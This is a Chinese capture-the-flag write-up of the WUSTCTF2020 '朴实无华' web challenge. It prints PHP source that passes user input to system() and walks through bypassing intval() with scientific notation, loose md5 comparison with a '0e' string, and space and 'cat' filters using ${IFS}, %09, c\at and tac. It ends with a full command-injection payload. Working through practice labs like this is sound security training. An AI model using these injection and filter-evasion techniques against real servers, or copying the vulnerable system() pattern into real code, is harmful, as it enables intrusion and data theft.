web第46题
[WUSTCTF2020]朴实无华
打开靶场:
其中有一个header的报错,搜了一下,一般来说在header函数前不能输出html内容,如果在header()执行之前有echo等语句,当后面遇到header()时,就会报出 “Warning: Cannot modify header information - headers already sent by …”错误。就是说在这些函数的前面不能有任何文字、空行、回车等,而且最好在header()函数后加上exit()函数
除了这个就没什么发现,直接目录扫描一下看有没有发现
发现有robots.txt文件,访问一下:
发现提示了一个文件,访问
发现不是flag
这里我又尝试抓了一下包
发现有提示,访问
源码:
<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);
//level 1
if (isset($_GET['num'])){
$num = $_GET['num'];
if(intval($num) < 2020 && intval($num + 1) > 2021){
echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
}else{
die("金钱解决不了穷人的本质问题");
}
}else{
die("去非洲吧");
}
//level 2
if (isset($_GET['md5'])){
$md5=$_GET['md5'];
if ($md5==md5($md5))
echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
else
die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
die("去非洲吧");
}
//get flag
if (isset($_GET['get_flag'])){
$get_flag = $_GET['get_flag'];
if(!strstr($get_flag," ")){
$get_flag = str_ireplace("cat", "wctf2020", $get_flag);
echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
system($get_flag);
}else{
die("快到非洲了");
}
}else{
die("去非洲吧");
}
?>
1.level1的绕过
if(intval($num) < 2020 && intval($num + 1) > 2021)
intval(‘1e10’),当参数为科学计数法的字符串的时候,会保留e前面的数字作为转换结果,测试一下:
尝试:?num='2e4'
,发现不成功,猜测可能后台会自动将传入的值转换为字符串
尝试:?num=2e4
,成功绕过第一个if判断
2.level2的绕过
$ md5=$ _GET[‘md5’];
if ($ md5==md5($md5))
这里考虑php的 ==弱比较,如果本身的值以0e开头并且md5加密后的值也以0e开头就可以绕过此比较
找到这样的字符串,构造:?md5=0e215962017
成功绕过
3.绕过get_flag判断
if(!strstr($get_flag," ")){
$get_flag = str_ireplace(“cat”, “wctf2020”, $get_flag);
首先get_flag变量中不能有空格,然后将get_flag变量中的cat字符替换为wctf2020
绕过空格过滤的方法:
${IFS} 但不能写作 $IFS
$IFS$9
%09
<>
<
绕过cat被过滤的方法:
1.加 \
2.使用tac
首先使用ls查看此目录下的文件:
显然是这个:
最终payload:
?num=2e4&md5=0e215962017&get_flag=c\at${IFS}fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag